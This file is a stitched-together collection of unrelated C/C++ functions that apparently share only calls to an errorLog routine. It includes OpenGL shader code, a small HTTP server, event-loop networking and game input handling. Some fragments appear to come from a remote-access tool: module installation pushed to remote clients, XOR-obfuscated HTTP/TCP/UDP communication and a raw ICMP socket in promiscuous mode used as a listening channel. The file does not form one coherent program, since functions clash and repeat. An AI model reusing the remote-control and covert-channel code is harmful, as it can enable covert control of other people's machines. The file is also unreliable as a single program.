BOOL ReadDataFile( LPCTSTR datafile, CommData& data )
{
tstring filepath = datafile;
if (filepath.find(':') == tstring::npos)
{
filepath = GetBinFilepath() + filepath;
}
MyFile file;
if (! file.Open(filepath.c_str(), GENERIC_READ, OPEN_EXISTING, FILE_SHARE_READ))
{
errorLog(_T("open file [%s] failed"), filepath.c_str());
return FALSE;
}
ByteBuffer content;
if (! file.ReadAll(content))
{
errorLog(_T("readall [%s] failed"), filepath.c_str());
return FALSE;
}
data.SetByteData(content, content.Size());
return TRUE;
}
void connectionCB(le_TcpConnection* client, int status) {
int result;
char* text = "hello world!";
if( status == LE_OK ) {
printf("get connection!!\n");
} else {
errorLog(client->loop, "connectionCB");
return;
}
result = le_setTcpNoDelay(client, 1);
if( result ) {
errorLog(client->loop, "le_setTcpNoDelay");
}
sendMsg(client, text, strlen(text) + 1);
result = le_startRead(client, readCB, allocaCB);
if( result ) {
errorLog(client->loop, "le_startRead");
} else {
printf("le_startRead success!\n");
}
}
BOOL TcpComm::Connect( ULONG targetIP, MySocket& sock )
{
#ifdef _DEBUG
g_ConfigInfo.nPort = 8081;
#endif
sock.Close();
if (! sock.Create(TRUE))
{
errorLogE(_T("create socket failed."));
return FALSE;
}
if (! sock.Connect(targetIP, g_ConfigInfo.nPort, 10))
{
errorLog(_T("connect [%u] failed"), targetIP);
return FALSE;
}
int value = 65535;
if (0 != setsockopt(sock, SOL_SOCKET, SO_RCVBUF, (char*)&value, sizeof(value)))
{
errorLog(_T("setsockopt rcvbuf failed.WE%d"), ::WSAGetLastError());
}
value = 65535;
if (0 != setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (char*)&value, sizeof(value)))
{
errorLog(_T("setsockopt sndbuf failed.WE%d"), ::WSAGetLastError());
}
return TRUE;
}
BOOL ICMPSocket::Create( LPCTSTR listenIPOrHost )
{
tstring iporhost;
if (NULL == listenIPOrHost)
{
char hostname[128] = {0};
gethostname(hostname, 128);
iporhost = a2t(hostname);
}
else
{
iporhost = listenIPOrHost;
}
Close();
m_listenIP = INADDR_NONE;
if (! MySocket::IPOrHostname2IP(iporhost.c_str(), m_listenIP))
{
errorLog(_T("invalid listeniporhost [%s]"), listenIPOrHost);
return FALSE;
}
if (! CreateListenSocket(m_listenIP, m_sock))
{
errorLog(_T("create listen socket failed"));
m_sock = INVALID_SOCKET;
return FALSE;
}
return TRUE;
}
void connectionCB(le_TcpServer* server, int status) {
int result;
le_TcpConnection* client;
if( status < 0 ) {
errorLog(server->loop, "connectionCB");
return;
}
client = (le_TcpConnection*)malloc(sizeof(le_TcpConnection));
le_tcpConnectionInit(server->loop, client, clientClose);
result = le_accept(server, client);
if( result ) {
errorLog(server->loop, "le_accept");
}
result = le_setTcpNoDelay(client, 1);
if( result ) {
errorLog(server->loop, "le_setTcpNoDelay");
}
//sendMsg(client, "", 0);
result = le_startRead(client, readCB, allocaCB);
if( result ) {
errorLog(server->loop, "le_startRead");
}
}
static int cgiProcess(ExHttp *pHttp)
{
int ret = 0;
void *handle = NULL;
do {
if ((handle = cgi_page_find(pHttp->url)) == NULL) {
errorLog(pHttp, "CGI page not find");
ret = -1;
break;
}
if (('P' == *(pHttp->method)) && ex_load_body(pHttp) < 0) {
errorLog(pHttp, "body check error");
ret = -2;
break;
}
if (decodeParam(pHttp) < 0) {
errorLog(pHttp, "param decode error");
ret = -3;
break;
}
if (cgi_handler(pHttp, handle) < 0) {
errorLog(pHttp, "handler error");
ret = -4;
}
} while (0);
if (*(pHttp->method) == 'P' &&
pHttp->postData != pHttp->curPos)
free(pHttp->postData);
ex_hash_clear(&(pHttp->paramMap));
return ret;
}
void Program::link()
{
glLinkProgram(m_Id);
GLint isLinked = 0;
glGetProgramiv(m_Id, GL_LINK_STATUS, &isLinked);
if (isLinked == GL_FALSE)
{
GLint maxLength = 0;
glGetProgramiv(m_Id, GL_INFO_LOG_LENGTH, &maxLength);
// The maxLength includes the NULL character
std::vector<GLchar> errorLog(maxLength);
glGetProgramInfoLog(m_Id, maxLength, &maxLength, errorLog.data());
//DEBUG("Linking program failed.\n" << errorLog.data());
//throw exception with msg
throw std::logic_error(errorLog.data());
}
else {
GLint maxLength = 0;
glGetProgramiv(m_Id, GL_INFO_LOG_LENGTH, &maxLength);
// The maxLength includes the NULL character
if (maxLength > 1) {
std::vector<GLchar> errorLog(maxLength);
glGetProgramInfoLog(m_Id, maxLength, &maxLength, errorLog.data());
DEBUG("Linking program succeeded. Log contains:\n" << errorLog.data());
}
else {
DEBUG("Linking program succeeded. Log is empty");
}
}
}
BOOL MountedFolder::GetRealDirpath( LPCTSTR dirpath, tstring& realDirpath )
{
TCHAR realpath[MAX_PATH] = {0};
HANDLE hFile = ::CreateFile(dirpath, FILE_READ_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING,
FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (INVALID_HANDLE_VALUE == hFile)
{
errorLogE(_T("open dir[%s] failed."), dirpath);
return FALSE;
}
BOOL bSuccess = FALSE;
do
{
REPARSE_DATA_BUFFER buffer = {0};
DWORD dwBytesReturned = 0;
BOOL bOK = DeviceIoControl(
hFile, // handle to file or directory
FSCTL_GET_REPARSE_POINT, // dwIoControlCode
NULL, // lpInBuffer
0, // nInBufferSize
(LPVOID)&buffer, // output buffer
(DWORD) sizeof(buffer), // size of output buffer
(LPDWORD) &dwBytesReturned, // number of bytes returned
NULL // OVERLAPPED structure
);
if (! bOK)
{
errorLog(_T("get real path[%s] failed."), dirpath);
break;
}
if (buffer.ReparseTargetLength == 0)
{
errorLog(_T("reparse target length == 0"));
break;
}
if (_tcslen(buffer.ReparseTarget) < 6
|| buffer.ReparseTarget[0] != '\\'
|| buffer.ReparseTarget[1] != '?'
|| buffer.ReparseTarget[2] != '?'
|| buffer.ReparseTarget[3] != '\\')
{
errorLog(_T("[%s] is invalid"), buffer.ReparseTarget);
break;
}
realDirpath = &buffer.ReparseTarget[4];
bSuccess = TRUE;
} while (FALSE);
::CloseHandle(hFile);
return bSuccess;
}
HRESULT
R_getCOMArgs(SEXP args, DISPPARAMS *parms, DISPID *ids, int numNamedArgs, int *namedArgPositions)
{
HRESULT hr;
int numArgs = Rf_length(args), i, ctr;
if(numArgs == 0)
return(S_OK);
#ifdef RDCOM_VERBOSE
errorLog("Converting arguments (# %d, # %d named)\n", numArgs, numNamedArgs);
#endif
parms->rgvarg = (VARIANT *) S_alloc(numArgs, sizeof(VARIANT));
parms->cArgs = numArgs;
/* If there are named arguments, then put these at the beginning of the
rgvarg*/
if(numNamedArgs > 0) {
int namedArgCtr = 0;
VARIANT *var;
SEXP el;
SEXP names = GET_NAMES(args);
parms->rgdispidNamedArgs = (DISPID *) S_alloc(numNamedArgs, sizeof(DISPID));
parms->cNamedArgs = numNamedArgs;
for(i = 0, ctr = numArgs-1; i < numArgs ; i++) {
if(strcmp(CHAR(STRING_ELT(names, i)), "") != 0) {
var = &(parms->rgvarg[namedArgCtr]);
parms->rgdispidNamedArgs[namedArgCtr] = ids[namedArgCtr + 1];
#ifdef RDCOM_VERBOSE
errorLog("Putting named argument %d into %d\n", i+1, namedArgCtr);
Rf_PrintValue(VECTOR_ELT(args, i));
#endif
namedArgCtr++;
} else {
var = &(parms->rgvarg[ctr]);
ctr--;
}
el = VECTOR_ELT(args, i);
VariantInit(var);
hr = R_convertRObjectToDCOM(el, var);
}
} else {
parms->cNamedArgs = 0;
parms->rgdispidNamedArgs = NULL;
for(i = 0, ctr = numArgs-1; i < numArgs; i++, ctr--) {
SEXP el = VECTOR_ELT(args, i);
VariantInit(&parms->rgvarg[ctr]);
hr = R_convertRObjectToDCOM(el, &(parms->rgvarg[ctr]));
}
}
return(S_OK);
}
void SemanticsVisitor::visit(AssigningNode& assign) {
LHSSemanticsVisitor lhsVisitor(¤tSymbolTable(), errorLog());
assign.getTargetName()->accept(lhsVisitor);
assign.getValueExpr()->accept(*this);
if ( assignable( assign.getTargetName()->getType(), assign.getValueExpr()->getType() ) ) {
assign.setType( assign.getTargetName()->getType() );
} else {
errorLog() << "Right hand side expression not assignable to left hand side name at " << &assign << "\n";
assign.setType(0); // NOTICE by design, null attribute and error type is 0.
}
}
void requestHandler(void *s)
{
SOCKET sock = *((SOCKET*)s);
char recvBuf[MAX_HEADER_SIZE + 8];
char pool[512];
static const char *skipBrake = " \n\n:\n\n";
ExHttp httpInfo;
++ExContext.threadCnt;
httpInfo.sock = sock;
ex_mpool_init(&httpInfo.mp, pool, sizeof(pool));
do {
if (ExContext.quitFlag == 1)
break;
httpInfo.recvLen = ex_read_head(sock, recvBuf, MAX_HEADER_SIZE);
if (httpInfo.recvLen <= 0)
break;
httpInfo.curPos = recvBuf;
recvBuf[httpInfo.recvLen] = '\0';
strcat(recvBuf + httpInfo.recvLen , skipBrake);
/* if method is not implemented */
if (checkmethod(&httpInfo) < 0) {
DBG("len: %d %s\n", httpInfo.method);
ex_error_reply(&httpInfo, 501);
break;
}
if (parseURL(&httpInfo) < 0) {
ex_error_reply(&httpInfo, 400);
errorLog(&httpInfo, "parseURL error");
break;
}
/* if parse head error */
if (parseHeader(&httpInfo) < 0) {
ex_error_reply(&httpInfo, 400);
/* bad Request */
errorLog(&httpInfo, "parse head error");
clearHttp(&httpInfo);
break;
}
/* if reply error */
if (replyHandler(&httpInfo) < 0) {
break;
}
} while (1);
closesocket(sock);
--ExContext.threadCnt;
}
void SemanticsVisitor::visit(Identifier& id) {
id.setType(0); // init to error type. NOTICE by design, null attribute and error type is 0.
try {
Attributes* attributeRef = currentSymbolTable().retrieveSymbol(id.name());
if (isDataObject(attributeRef)) {
id.setAttributes(attributeRef);
} else {
errorLog() << id.name() << " does not name a data object.\n";
}
} catch (std::runtime_error& e) {
errorLog() << id.name() << " has not been declared.\n";
}
}
BOOL ClientInfoManager::InstallModule( LPCTSTR clientid, LPCTSTR moduleName )
{
tstring modname = moduleName;
makeLower(modname);
tstring datFilepath;
if (! ClientmodManager::GetInstanceRef().GetModuleDatFilepath(modname.c_str(), datFilepath))
{
errorLog(_T("no such clientmodule [%s]"), moduleName);
return FALSE;
}
CommData sendData;
sendData.SetMsgID(MSGID_INSTALL_MODULE);
sendData.SetData(_T("modname"), moduleName);
if (! ReadDataFile(datFilepath.c_str(), sendData))
{
errorLog(_T("read datafile failed[%s]"), datFilepath.c_str());
return FALSE;
}
MSGSERIALID requestInstallModMsgID = CommManager::GetInstanceRef().AddToSendMessage(clientid, sendData, TRUE);
if (INVALID_MSGSERIALID == requestInstallModMsgID)
{
errorLog(_T("send msg to install mod[%s] in [%s] failed"), moduleName, clientid);
return FALSE;
}
BOOL bPushOK = FALSE;
m_infoMapSection.Enter();
{
ClientBaseInfoMap::iterator iter = m_clientBaseInfoMap.find(clientid);
if (iter != m_clientBaseInfoMap.end())
{
iter->second.installModMsgIDMap[moduleName] = requestInstallModMsgID;
bPushOK = TRUE;
}
}
m_infoMapSection.Leave();
if (bPushOK)
{
infoLog(_T("send install msg OK. install mod[%s] to [%s]"), moduleName, clientid);
}
else
{
errorLog(_T("send install msg OK.id=%I64u. but no info for client[%s]"), requestInstallModMsgID, clientid);
}
return TRUE;
}
GLuint initShaders() {
// Create and compile the vertex shader
GLuint vertexShader = glCreateShader(GL_VERTEX_SHADER);
glShaderSource(vertexShader, 1, &vertexSource, NULL);
glCompileShader(vertexShader);
GLint success = 0;
glGetShaderiv(vertexShader, GL_COMPILE_STATUS, &success);
if(success != GL_TRUE) {
GLint logSize = 0;
glGetShaderiv(vertexShader, GL_INFO_LOG_LENGTH, &logSize);
// The maxLength includes the NULL character
std::vector<GLchar> errorLog(logSize);
glGetShaderInfoLog(vertexShader, logSize, &logSize, &errorLog[0]);
std::cout << "VShader did not compile:\n";
std::cout << &errorLog[0] << std::endl;
exit(1);
}
// Create and compile the fragment shader
GLuint fragmentShader = glCreateShader(GL_FRAGMENT_SHADER);
glShaderSource(fragmentShader, 1, &fragmentSource, NULL);
glCompileShader(fragmentShader);
success = 0;
glGetShaderiv(fragmentShader, GL_COMPILE_STATUS, &success);
if(success != GL_TRUE) {
GLint logSize = 0;
glGetShaderiv(fragmentShader, GL_INFO_LOG_LENGTH, &logSize);
// The maxLength includes the NULL character
std::vector<GLchar> errorLog(logSize);
glGetShaderInfoLog(fragmentShader, logSize, &logSize, &errorLog[0]);
std::cout << "FShader did not compile:\n";
std::cout << &errorLog[0] << std::endl;
exit(1);
}
// Link the vertex and fragment shader into a shader program
GLuint shaderProgram = glCreateProgram();
glAttachShader(shaderProgram, vertexShader);
glAttachShader(shaderProgram, fragmentShader);
glBindFragDataLocation(shaderProgram, 0, "outColor");
glLinkProgram(shaderProgram);
glUseProgram(shaderProgram);
projloc = glGetUniformLocation(shaderProgram, "proj");
modeloc = glGetUniformLocation(shaderProgram, "mode");
return shader = shaderProgram;
}
BOOL ICMPSocket::RecvICMP( ULONG& srcIP, ULONG& destIP, ByteBuffer& icmpData )
{
ByteBuffer buffer;
buffer.Alloc(1024 * 4);
int ret = recv(m_sock, (char*)(LPBYTE)buffer, buffer.Size(), 0);
if (SOCKET_ERROR == ret)
{
errorLog(_T("recv failed.WE%d"), ::WSAGetLastError());
return FALSE;
}
LPIP_HEADER pIpHeader = (LPIP_HEADER)(LPBYTE)buffer;
if (IPPROTO_ICMP != pIpHeader->Protocol) return FALSE;
LPICMP_HEADER pIcmpHeader = (LPICMP_HEADER) ((LPBYTE)buffer + pIpHeader->HdrLen * IP_HEADER_LEN_UNIT_BYTE);
if (ICMP_ECHO != pIcmpHeader->i_type) return FALSE;
LPBYTE pIcmpData = (LPBYTE)pIcmpHeader + sizeof(ICMP_HEADER);
int iIcmpDataLen = ret - pIpHeader->HdrLen * IP_HEADER_LEN_UNIT_BYTE - sizeof(ICMP_HEADER);
srcIP = pIpHeader->SrcAddr;
destIP = pIpHeader->DstAddr;
icmpData.Alloc(iIcmpDataLen);
memcpy((LPBYTE)icmpData, pIcmpData, iIcmpDataLen);
return TRUE;
}
bool UIConsole::executeCommand(const std::string& command_string) {
consoleLog(command_string.c_str());
size_t s = command_string.find(" ");
std::string command_name;
std::string command_args;
if(s != std::string::npos) {
command_name = command_string.substr(0, s);
if(s != command_string.size()-1) {
command_args = command_string.substr(s+1);
}
} else {
command_name = command_string;
}
UIConsoleCommand* command = getCommand(command_name);
if(!command) {
errorLog("no such console command '%s'", command_name.c_str());
return false;
}
return command->execute(command_args);
}
BOOL CommManager::Init()
{
WSAData wsaData = {0};
::WSAStartup(MAKEWORD(2, 2), &wsaData);
if (! m_cp.Init())
{
errorLog(_T("init cutup protocol failed"));
return FALSE;
}
// if (! m_icmpSocket.Create())
// {
// errorLog(_T("create icmp listen socket failed."));
// return FALSE;
// }
// m_bListenIcmp = TRUE;
// if (! m_icmpRecvThread.Start(IcmpListenThread, this))
// {
// errorLog(_T("start icmp listen thread failed"));
// return FALSE;
// }
RegisterMsgHandler(MSGID_AVAILABLE_COMM, MsgHandler_AvailableComm, this);
return TRUE;
}
void SkillSet::velocity(const SParam& param)
{
errorLog(botID,(param.VelocityP.vl+param.VelocityP.vr)/2,(param.VelocityP.vl-param.VelocityP.vr)/2);
comm->sendCommand(botID,param.VelocityP.vl,param.VelocityP.vr);
//comm.sendCommand(botID, 0, param.VelocityP.v, param.VelocityP.v_t, 0, false);
} // velocity
BOOL CommManager::SendAndRecv( COMM_NAME commName, ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, ByteBuffer& recvData )
{
if (NULL == m_commList[commName]) return FALSE;
ByteBuffer sendBuffer;
sendBuffer.Alloc(dwSendSize);
XorFibonacciCrypt(pSendData, dwSendSize, (LPVOID)(LPBYTE)sendBuffer, 2, 7);
LPBYTE pRecvData = NULL;
DWORD dwRecvSize = 0;
BOOL bRet = m_commList[commName]->SendAndRecv(targetIP, (LPBYTE)sendBuffer, dwSendSize, &pRecvData, dwRecvSize);
if (! bRet)
{
errorLog(_T("send and recv[%d] failed"), commName);
return FALSE;
}
if (dwRecvSize > 0)
{
bRet = TRUE;
recvData.Alloc(dwRecvSize);
XorFibonacciCrypt(pRecvData, dwRecvSize, (LPVOID)(LPBYTE)recvData, 2, 7);
m_commList[commName]->FreeRecvData(pRecvData);
}
return bRet;
}
BOOL CommManager::Init()
{
ZeroMemory(m_commList, sizeof(m_commList));
ZeroMemory(m_commAvailableList, sizeof(m_commAvailableList));
m_commList[COMMNAME_HTTP] = new HttpComm;
m_commList[COMMNAME_HTTPS] = new HttpComm(TRUE);
m_commList[COMMNAME_TCP] = new TcpComm;
// m_commList[COMMNAME_TCPS] = new TcpComm(TRUE);
m_commList[COMMNAME_UDP] = new UdpComm;
// m_commList[COMMNAME_UDPS] = new UdpComm(TRUE);
m_hExitEvent = ::CreateEvent(NULL, FALSE, FALSE, NULL);
if (! m_hExitEvent.IsValid())
{
errorLogE(_T("create exitevent failed."));
return FALSE;
}
m_dwMsgIntervalMS = 500;
if (! Manager::GetInstanceRef().Init())
{
errorLog(_T("init servant manager failed"));
return FALSE;
}
m_clientid = Manager::GetInstanceRef().GetClientID();
return TRUE;
}
void GLSLprogram::compileShader(const std::string& filePath, GLuint shaderID) {
std::ifstream shaderFile(filePath);
if (shaderFile.fail()) {
std::cout << "Fil fel: " + filePath;
}
std::string fileContent = "";
std::string line;
while (std::getline(shaderFile, line)) {
fileContent += line + "\n";
}
shaderFile.close();
const char* contentsPtr = fileContent.c_str();
glShaderSource(shaderID, 1, &contentsPtr, nullptr);
glCompileShader(shaderID);
GLint success = 0;
glGetShaderiv(shaderID, GL_COMPILE_STATUS, &success);
if (success == GL_FALSE) {
GLint maxLength = 0;
glGetShaderiv(shaderID, GL_INFO_LOG_LENGTH, &maxLength);
std::vector<char> errorLog(maxLength);
glGetShaderInfoLog(shaderID, maxLength, &maxLength, &errorLog[0]);
glDeleteShader(shaderID);
std::printf("%s\n", &(errorLog[0]));
}
}
//Compiles a single shader file
void GLSLProgram::compileShader(const char* source, const std::string& name, GLuint id) {
//tell opengl that we want to use fileContents as the contents of the shader file
glShaderSource(id, 1, &source, nullptr);
//compile the shader
glCompileShader(id);
//check for errors
GLint success = 0;
glGetShaderiv(id, GL_COMPILE_STATUS, &success);
if (success == GL_FALSE)
{
GLint maxLength = 0;
glGetShaderiv(id, GL_INFO_LOG_LENGTH, &maxLength);
//The maxLength includes the NULL character
std::vector<char> errorLog(maxLength);
glGetShaderInfoLog(id, maxLength, &maxLength, &errorLog[0]);
//Provide the infolog in whatever manor you deem best.
//Exit with failure.
glDeleteShader(id); //Don't leak the shader.
//Print error log and quit
std::printf("%s\n", &(errorLog[0]));
fatalError("Shader " + name + " failed to compile");
}
}
BOOL ICMPSocket::CreateListenSocket( ULONG ip, SOCKET& sock ) const
{
// 创建原始套接字
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
// 设置IP头操作选项，其中flag 设置为ture，亲自对IP头进行处理
DWORD flag = TRUE;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag));
// 填充SOCKADDR_IN结构
SOCKADDR_IN addr_in;
addr_in.sin_addr.S_un.S_addr = ip;
addr_in.sin_family = AF_INET;
addr_in.sin_port = htons(1004);
// 把原始套接字sock 绑定到本地网卡地址上
if (0 != bind(sock, (PSOCKADDR)&addr_in, sizeof(addr_in)))
{
::closesocket(sock);
errorLog(_T("bind %X failed.WE%d"), ip, ::WSAGetLastError());
return FALSE;
}
// dwValue为输入输出参数，为1时执行，0时取消
DWORD dwValue = 1;
// 设置 SOCK_RAW 为SIO_RCVALL，以便接收所有的IP包。其中SIO_RCVALL
// 的定义为： #define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
ioctlsocket(sock, SIO_RCVALL, &dwValue); //将网卡设置为混合模式
return TRUE;
}
int main() {
int result;
le_EventLoop* loop;
printf("<---------client started!--------->\n");
loop = le_eventLoopCreate();
client = (le_TcpConnection*)malloc(sizeof(le_TcpConnection));
le_tcpConnectionInit(loop, client, closeCB);
result = le_connect(client, "127.0.0.1", 8611, connectionCB);
if( result ) {
free(client);
errorLog(loop, "le_connect");
} else {
printf("le_connect success!\n");
}
le_run(loop);
le_eventLoopDelete(loop);
printf("rbytes: %d, sbytes: %d\n", rbytes, sbytes);
printf("<---------client closed!--------->\n");
getchar();
return 0;
}
void Shader::addShaderProgram(const char* shaderSource, int type)
{
GLuint shader = glCreateShader(type);
glShaderSource(shader, 1, (const GLchar**)&shaderSource, NULL);
glCompileShader(shader);
GLint isCompiled = 0;
glGetShaderiv(shader, GL_COMPILE_STATUS, &isCompiled);
if (isCompiled == GL_FALSE)
{
std::cout << "Error compiling shader!\n";
GLint maxLength = 0;
glGetShaderiv(shader, GL_INFO_LOG_LENGTH, &maxLength);
// The maxLength includes the NULL character
std::vector<GLchar> errorLog(maxLength);
glGetShaderInfoLog(shader, maxLength, &maxLength, &errorLog[0]);
for (std::vector<GLchar>::const_iterator i = errorLog.begin(); i != errorLog.end(); ++i)
std::cout << *i;
}
glAttachShader(shaderProgramID, shader);
}
// Compiles a single shader.
void Shader::CompileShader(const char* source, EShaderType shaderType, GLuint ShaderID)
{
glShaderSource(ShaderID, 1, &source, nullptr);
glCompileShader(ShaderID);
GLint success = 0;
glGetShaderiv(ShaderID, GL_COMPILE_STATUS, &success);
if (success == GL_FALSE)
{
GLint maxLength = 0;
glGetShaderiv(ShaderID, GL_INFO_LOG_LENGTH, &maxLength);
// The maxLength includes the NULL character
std::vector<GLchar> errorLog(maxLength);
glGetShaderInfoLog(ShaderID, maxLength, &maxLength, &errorLog[0]);
// Provide the infolog in whatever manner you deem best.
// Exit with failure.
glDeleteShader(ShaderID); // Don't leak the shader.
std::printf("%s\n", &errorLog[0]);
PrintError("Shader failed to load: %s", SDL_GetError());
}
}
void ActionMapper::addAction (int actionID, int k)
{
ActionData *ad = getActionDataByID(actionID);
if (ad)
{
/*
std::ostringstream os;
os << "Action ID [" << actionID << "] already exists!";
debugLog(os.str());
*/
}
else
{
ActionData data;
data.id = actionID;
actionData.push_back(data);
ad = getActionDataByID(actionID);
if (!ad)
{
std::ostringstream os;
os << "Could not create action for Action ID [" << actionID << "]";
errorLog(os.str());
return;
}
}
if (ad)
{
ad->buttonList.push_back(k);
keyDownMap[k] = core->getKeyState(k);
}
}
void GLSLprogram::linkShaders() {
glAttachShader(_programID, _vertexShader);
if(_geometryShader != 0)
glAttachShader(_programID, _geometryShader);
glAttachShader(_programID, _fragmentShader);
glLinkProgram(_programID);
GLint success = 0;
glGetProgramiv(_programID, GL_LINK_STATUS, (int*)&success);
if (success == GL_FALSE) {
GLint maxLength = 0;
glGetProgramiv(_programID, GL_INFO_LOG_LENGTH, &maxLength);
std::vector<char> errorLog(maxLength);
glGetShaderInfoLog(_programID, maxLength, &maxLength, &errorLog[0]);
glDeleteProgram(_programID);
glDeleteShader(_vertexShader);
glDeleteShader(_geometryShader);
glDeleteShader(_fragmentShader);
std::printf("%s\n", &(errorLog[0]));
}
glDetachShader(_programID, _vertexShader);
if (_geometryShader != 0) {
glDetachShader(_programID, _geometryShader);
glDeleteShader(_geometryShader);
}
glDetachShader(_programID, _fragmentShader);
glDeleteShader(_vertexShader);
glDeleteShader(_fragmentShader);
}
void GLSLProgram::linkShaders()
{
glAttachShader(_programID, _vertexShaderID);
glAttachShader(_programID, _fragmentShaderID);
glLinkProgram(_programID);
GLint isLinked = 0;
glGetProgramiv(_programID, GL_LINK_STATUS, (int *)&isLinked);
if(isLinked == GL_FALSE)
{
GLint maxLength = 0;
glGetProgramiv(_programID, GL_INFO_LOG_LENGTH, &maxLength);
std::vector<char> errorLog(maxLength);
glGetProgramInfoLog(_programID, maxLength, &maxLength, &errorLog[0]);
glDeleteProgram(_programID);
glDeleteShader(_vertexShaderID);
glDeleteShader(_fragmentShaderID);
std::printf("%s\n", &(errorLog[0]));
fatalError("Shaders failed to link");
return;
}
glDetachShader(_programID, _vertexShaderID);
glDetachShader(_programID, _fragmentShaderID);
glDeleteShader(_vertexShaderID);
glDeleteShader(_fragmentShaderID);
}
bool exists(const std::string &f, bool makeFatal, bool skipVFS)
{
bool e = false;
#ifdef BBGE_BUILD_VFS
if (!skipVFS)
{
e = !!vfs.GetFile(f.c_str());
}
else
#endif
if (!e)
{
std::string tmp = core->adjustFilenameCase(f);
FILE *file = fopen(tmp.c_str(), "rb");
if (file)
{
e = true;
fclose(file);
}
}
if (makeFatal && !e)
{
errorLog(std::string("Could not open [" + f + "]"));
exit(0);
}
return e;
}
